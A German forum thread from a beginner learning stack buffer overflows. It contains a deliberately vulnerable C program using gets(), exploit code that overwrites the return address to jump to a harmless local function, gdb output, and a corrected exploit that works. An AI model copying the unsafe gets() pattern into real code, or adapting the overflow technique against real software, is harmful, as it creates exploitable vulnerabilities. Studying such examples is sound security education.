Arch Linux

Exploits für Anfänger

shibumi

Hallo ich beschäftige mich jetzt schon etwas länger mit C/C++ und habe mich mal an das Thema "Exploiting" und sicheres Programmieren gewagt. Allerdings komme ich hier nicht weiter. Mir gehts um diese Beschreibung hier: http://www.online-tutorials.net/security/buffer-overflow-tutorial-teil-1-grundlagen/tutorials-t-27-282.html

Ich habe die beiden Dateien main.c und exploit.c aus dem guide so übernommen und die Speicheradresse im exploit.c auch richtig ersetzt. Allerdings funktioniert das ganze bei mir nicht. Bei mir kommt statt einem: "Got it" lediglich dieses hier:

You wrote: `Hallo!Hallo!Hallo!Hallo!Hallo!Hallo!Hallo!Hallo!Hallo!Hallo!Hallo!Hallo!Hallo!Hallo!Hallo!Hallo!Hallo!Hallo!Hallo!Hallo!Hallo!Hallo!                                                                                                                                            '
[1]    2159 done                              ./exploit | 
       2160 segmentation fault (core dumped)  ./main

die richtige Speicheradresse habe ich so ermittelt:

% gdb main
GNU gdb (GDB) 7.6.1
Copyright (C) 2013 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.  Type "show copying"
and "show warranty" for details.
This GDB was configured as "i686-pc-linux-gnu".
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>...
Reading symbols from /home/user/export/c/exploiting/main...done.
(gdb) disas Done
Dump of assembler code for function Done:
   0x0804850c <+0>:	push   %ebp  // Die Adresse 0x0804850c  habe ich dann für die EIP in exploit.c ersetzt
   0x0804850d <+1>:	mov    %esp,%ebp
   0x0804850f <+3>:	sub    $0x18,%esp
   0x08048512 <+6>:	movl   $0x80485d1,(%esp)
   0x08048519 <+13>:	call   0x8048380 <puts@plt>
   0x0804851e <+18>:	movl   $0x0,(%esp)
   0x08048525 <+25>:	call   0x80483a0 <exit@plt>
End of assembler dump.
(gdb)

Mir ist auch nicht ganz klar wieso der Verfasser des Tutorials 128 Bytes + 4 Byte EBP rechnet. 22 * 6 "Hallo!" sind doch schon 132 Bytes.

PS: Ich würde ein eigenes Unterforum für IT-Sicherheit und allen drum und dran begrüßen

T.M.

Ohne ein präzises Code-Beispiel wird das hier nix.

Smon

EBP ist der Base Pointer und der liegt nunmal vor dem EIP (Instruction Pointer).
Um Probleme zu vermeiden, habe ich mir angewöhnt, den EBP immer "richtig" zu überschreiben.
Hast du bei deinem Link mal weitergelesen? Also ich meine den Abschnitt "Stack-Adressierung".

Darf man hier bei sowas helfen? Ich kenne Foren, da wird sowas gelöscht?

shibumi

T.M. schriebOhne ein präzises Code-Beispiel wird das hier nix.

Code war im Link aber hier nochmal extra für dich 😛

//main.c
#include <stdio.h> 
#include <stdlib.h> 
#include <string.h> 

void Done(void); 
const char * const BrokenFunction(void); 

int main() 
{ 
        printf("You wrote: `%s'\n", BrokenFunction()); 
        return 0; 
} 

const char * const BrokenFunction(void) 
{ 
        char buf[128]; 
        gets(buf); 
        return strdup(buf); 
} 

void Done(void) 
{ 
        printf("Got it!\n"); 
        exit(0); 
}

//exploit.c
#include <stdio.h> 
#include <stdlib.h> 
#include <string.h> 

//Unsere Adresse: 0x0804850c 
//Wir brauchen: 132 bytes: 128 + 4 EBP 

int main(int args, char **argv) 
{ 
        int i = 0; 

        for(i = 0; i < 22; i++) 
                printf("Hallo!"); 

        //Bringt die Adresse auf 4 Byte, unsigned 
        unsigned EIP = 0x0804850c ; 
        fwrite(&EIP, 1, 4, stdout); 

        return 0; 
}

Aufruf via % ./exploit.c|./main.c

shibumi

Smon schriebEBP ist der Base Pointer und der liegt nunmal vor dem EIP (Instruction Pointer).
Um Probleme zu vermeiden, habe ich mir angewöhnt, den EBP immer "richtig" zu überschreiben.
Hast du bei deinem Link mal weitergelesen? Also ich meine den Abschnitt "Stack-Adressierung".

Darf man hier bei sowas helfen? Ich kenne Foren, da wird sowas gelöscht?

mhhh das weiß ich nicht. Falls ich damit irgendwie gegen die Etikette verstoße Thread bitte löschen.

T.M.

In dem Link waren mehrere Codebeispiele.

Ein Problem sehe ich darin, daß Du in BrokenFunction() einen Puffer mit fester Größe hast. Da Du nun die meiner Ansicht nach 136 Byte lange Ausgabe von exploit.c durch pipelining an main.c weiterreichst, wird es wohl dort eine Pufferüberschreitung geben, die main.c abstürzen läßt.

shibumi

T.M. schriebIn dem Link waren mehrere Codebeispiele.

Ein Problem sehe ich darin, daß Du in BrokenFunction() einen Puffer mit fester Größe hast. Da Du nun die meiner Ansicht nach 136 Byte lange Ausgabe von exploit.c durch pipelining an main.c weiterreichst, wird es wohl dort eine Pufferüberschreitung geben, die main.c abstürzen läßt.

Ist das nicht der sinn eines Buffer overflows? oO

portix

Nutzt du ein 64-bit System? Das Tutorial ist auf ein 32-bit System ausgelegt.

Smon

#include <stdio.h> 
#include <stdlib.h> 
#include <string.h> 

//Unsere Adresse: 0x0804850c 

int main(int args, char **argv) 
{ 
        int i = 0; 

        for(i = 0; i < 140; i++) 
                printf("a"); 

        //Bringt die Adresse auf 4 Byte, unsigned 
        unsigned lna = 0x0804850c ; 
        fwrite(&lna, 1, 4, stdout); 

        return 0; 
}

Probier es mal damit, natürlich Adresse anpassen.
@portix: Ja nutzt er, siehst du an seiner Adresse: 0x08048525
Bei 64bit wäre es zB 0x00000000004005ad

shibumi

portix schriebNutzt du ein 64-bit System? Das Tutorial ist auf ein 32-bit System ausgelegt.

ich nutze ein 32bit system

shibumi

Smon schrieb
#include <stdio.h> 
#include <stdlib.h> 
#include <string.h> 

//Unsere Adresse: 0x0804850c 

int main(int args, char **argv) 
{ 
        int i = 0; 

        for(i = 0; i < 140; i++) 
                printf("a"); 

        //Bringt die Adresse auf 4 Byte, unsigned 
        unsigned lna = 0x0804850c ; 
        fwrite(&lna, 1, 4, stdout); 

        return 0; 
} 
Probier es mal damit, natürlich Adresse anpassen.
@portix: Ja nutzt er, siehst du an seiner Adresse: 0x08048525
Bei 64bit wäre es zB 0x00000000004005ad

Ergebnis:
% ./exploit|./main
You wrote: `aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
'

T.M.

Wenn Dein ursprüngliches Problem darin besteht, daß Du kein "Got it" bekommst, so wird dies darin begründet liegen, daß die Funktion Done() zwar implementiert, aber nirgends benutzt ist. Es gibt keinen Aufruf, sie ist toter Code.

Die Adreßmechanik, die Du da mit dem gdb und fwrite machst, halte ich für ziemlich abenteuerlich. Soll das wirklich funktionieren? Es soll meiner Ansicht nach die hinter dem 128-byte-Puffer auf dem Stack liegende Rückkehradresse überschrieben werden. (Allein diese Annahme ist schon compilerabhängig.) Du müßtest also zunächst einmal exakt 128 Byte in den Puffer schreiben. 22mal "Hallo!" sind aber bereits 132 Byte, d.h. Deine Adresse landet vier Byte zu weit hinten. Wozu diese for-Schleife? Schreib doch exakt 128 am Stück auf die Ausgabe und dann Deine Adresse. Es ist zudem fraglich, ob eine 4-Byte-Zahl als Adresse ausreicht, unter 64bit klappt das jedenfalls nicht, da müssen es acht Byte sein.

Mal abgesehen von der Abenteuerlichkeit ... der Buffer overflow findet definitiv vorher statt, das Programm ist damit beendet, egal was an Code noch kommt. Du könntest möglicherweise durch Setzen von Compilerschaltern verhindern, daß es hier zu einem Laufzeitfehler kommt, d.h. Du müßtest die Prüfung von Buffer overflows ausschalten.

shibumi

T.M. schriebWenn Dein ursprüngliches Problem darin besteht, daß Du kein "Got it" bekommst, so wird dies darin begründet liegen, daß die Funktion Done() zwar implementiert, aber nirgends benutzt ist. Es gibt keinen Aufruf, sie ist toter Code.

Kann ich die Done Funktion nicht über die EIP Adresse ansprechen? Der Verfasser des Tutorials scheint ja damit erfolg zu haben.

Die Adreßmechanik, die Du da mit dem gdb und fwrite machst, halte ich für ziemlich abenteuerlich. Soll das wirklich funktionieren? Es soll meiner Ansicht nach die hinter dem 128-byte-Puffer auf dem Stack liegende Rückkehradresse überschrieben werden. (Allein diese Annahme ist schon compilerabhängig.) Du müßtest also zunächst einmal exakt 128 Byte in den Puffer schreiben. 22mal "Hallo!" sind aber bereits 132 Byte, d.h. Deine Adresse landet vier Byte zu weit hinten. Wozu diese for-Schleife? Schreib doch exakt 128 am Stück auf die Ausgabe und dann Deine Adresse. Es ist zudem fraglich, ob eine 4-Byte-Zahl als Adresse ausreicht, unter 64bit klappt das jedenfalls nicht, da müssen es acht Byte sein.

ist wie oben erwähnt eine 32bit adresse. Das mit den 4 Byte zu viel habe ich mir bereits gedacht probiere ich mal aus.

Mal abgesehen von der Abenteuerlichkeit ... der Buffer overflow findet definitiv vorher statt, das Programm ist damit beendet, egal was an Code noch kommt. Du könntest möglicherweise durch Setzen von Compilerschaltern verhindern, daß es hier zu einem Laufzeitfehler kommt, d.h. Du müßtest die Prüfung von Buffer overflows ausschalten.

Danke schaue ich mir mal die compiler flags an ob es dazu was gibt

Smon

Also bei mir hat es mit meinem Code Schnipsel geklappt. Ich habe ein 64bit System, habe es mit gcc -m32 compilt.

T.M. schriebDu müßtest also zunächst einmal exakt 128 Byte in den Puffer schreiben. 22mal "Hallo!" sind aber bereits 132 Byte

Wie ich oben schon sagte, liegt da vor dem EIP noch der EBP.

shibumi: Am besten schaust du dir mal gdb an und in gdb die Kommandos nexti, bt, info reg
Ich empfinde es am einfachsten, eine Datei mit einem Hexeditor zu bearbeiten und dann im gdb via 'start < datei' das Programm zu starten.
Du kannst dir dann noch breakpoints setzen usw.

shibumi

Smon schriebAlso bei mir hat es mit meinem Code Schnipsel geklappt. Ich habe ein 64bit System, habe es mit gcc -m32 compilt.

T.M. schriebDu müßtest also zunächst einmal exakt 128 Byte in den Puffer schreiben. 22mal "Hallo!" sind aber bereits 132 Byte
Wie ich oben schon sagte, liegt da vor dem EIP noch der EBP.

shibumi: Am besten schaust du dir mal gdb an und in gdb die Kommandos nexti, bt, info reg
Ich empfinde es am einfachsten, eine Datei mit einem Hexeditor zu bearbeiten und dann im gdb via 'start < datei' das Programm zu starten.
Du kannst dir dann noch breakpoints setzen usw.

Huch tatsache jetzt hat es gerade eben bei mir auch geklappt 😮

Aber eine Frage habe ich da noch. Wieso für "i < 140 " ?

"a" ist ja genau 2 bytes groß. 2 * 140 = 280. Ist das nicht kräftig über das ziel hinausgeschossen?

Danke für die Mühe

portix

shibumi schrieb "a" ist ja genau 2 bytes groß. 2 * 140 = 280.

Wie kommst du darauf? "a" ist ein char-array der Länge 1, ein char ist 1 byte groß.
Edit: Vergiss es, sind natürlich 2 byte inklusive dem 0-terminator, den musst du aber abziehen.

shibumi

portix schrieb
shibumi schrieb "a" ist ja genau 2 bytes groß. 2 * 140 = 280.
Wie kommst du darauf? "a" ist ein char-array der Länge 1, ein char ist 1 byte groß.

Nein eben nicht. Du hast den Null-Terminator am Ende vergessen der das Ende des Chars markiert. Oder bin ich da gerade etwas verwirrt? sizeof("a") ergibt auf jedenfall 2 nicht 1

EDIT: Ach herrje du hast recht. "a" ist ja ein string deshalb der Null-Terminator am Ende. Trotzdem sind doch 140 Bytes zu viel.

Smon

shibumi schriebHuch tatsache jetzt hat es gerade eben bei mir auch geklappt yikes

Sag ich doch 🙂

"Hallo!" sind 6 Zeichen. Diese hattest du vorhin 22 mal. 22*6 = 132
"a" ist 1 Zeichen. Dies ist 140 mal vorhanden. 140*1 = 140

Wenn ein a nun 1 Byte groß ist, haben wir also 140 Bytes. Wieso sollten das 140 Bytes zu viel sein? Dann hast du doch gar keine Eingabe mehr vor der Rücksprungadresse?
Wieso sollte printf den Null-Terminator ausgeben? Wäre mir neu.

T.M.

Smon schriebWie ich oben schon sagte, liegt da vor dem EIP noch der EBP.

Ja, aber der wird ja dann mit überschrieben, funktioniert also auch nicht mehr richtig. Kann sein, der wird schlicht nicht mehr benötigt.

Ich würde diesem Beispiel nicht allzu viel Bedeutung beimessen. Es dient der Verdeutlichung gewisser Zusammenhänge auf dem Stack. Daß auf dem Stack auch die Rückkehradresse der laufenden Funktion liegt und man diese ggf. manipulieren kann, ist zwar Tatsache, aber wahrscheinlich für keinen Programmierer je von Nutzen. Es wäre auf jeden Fall schlechter Stil. Man hätte das Beispiel zudem wahrscheinlich auch didaktisch übersichtlicher mit einem einzigen Programm machen können.

shibumi

Smon schrieb
shibumi schriebHuch tatsache jetzt hat es gerade eben bei mir auch geklappt yikes
Sag ich doch 🙂

"Hallo!" sind 6 Zeichen. Diese hattest du vorhin 22 mal. 22*6 = 132
"a" ist 1 Zeichen. Dies ist 140 mal vorhanden. 140*1 = 140

Wenn ein a nun 1 Byte groß ist, haben wir also 140 Bytes. Wieso sollten das 140 Bytes zu viel sein? Dann hast du doch gar keine Eingabe mehr vor der Rücksprungadresse?
Wieso sollte printf den Null-Terminator ausgeben? Wäre mir neu.

Naja waren nicht 132 byte gefordert und eben nicht 140? wieso gerade 140 und keine 150 byte zb?

Nächste Seite »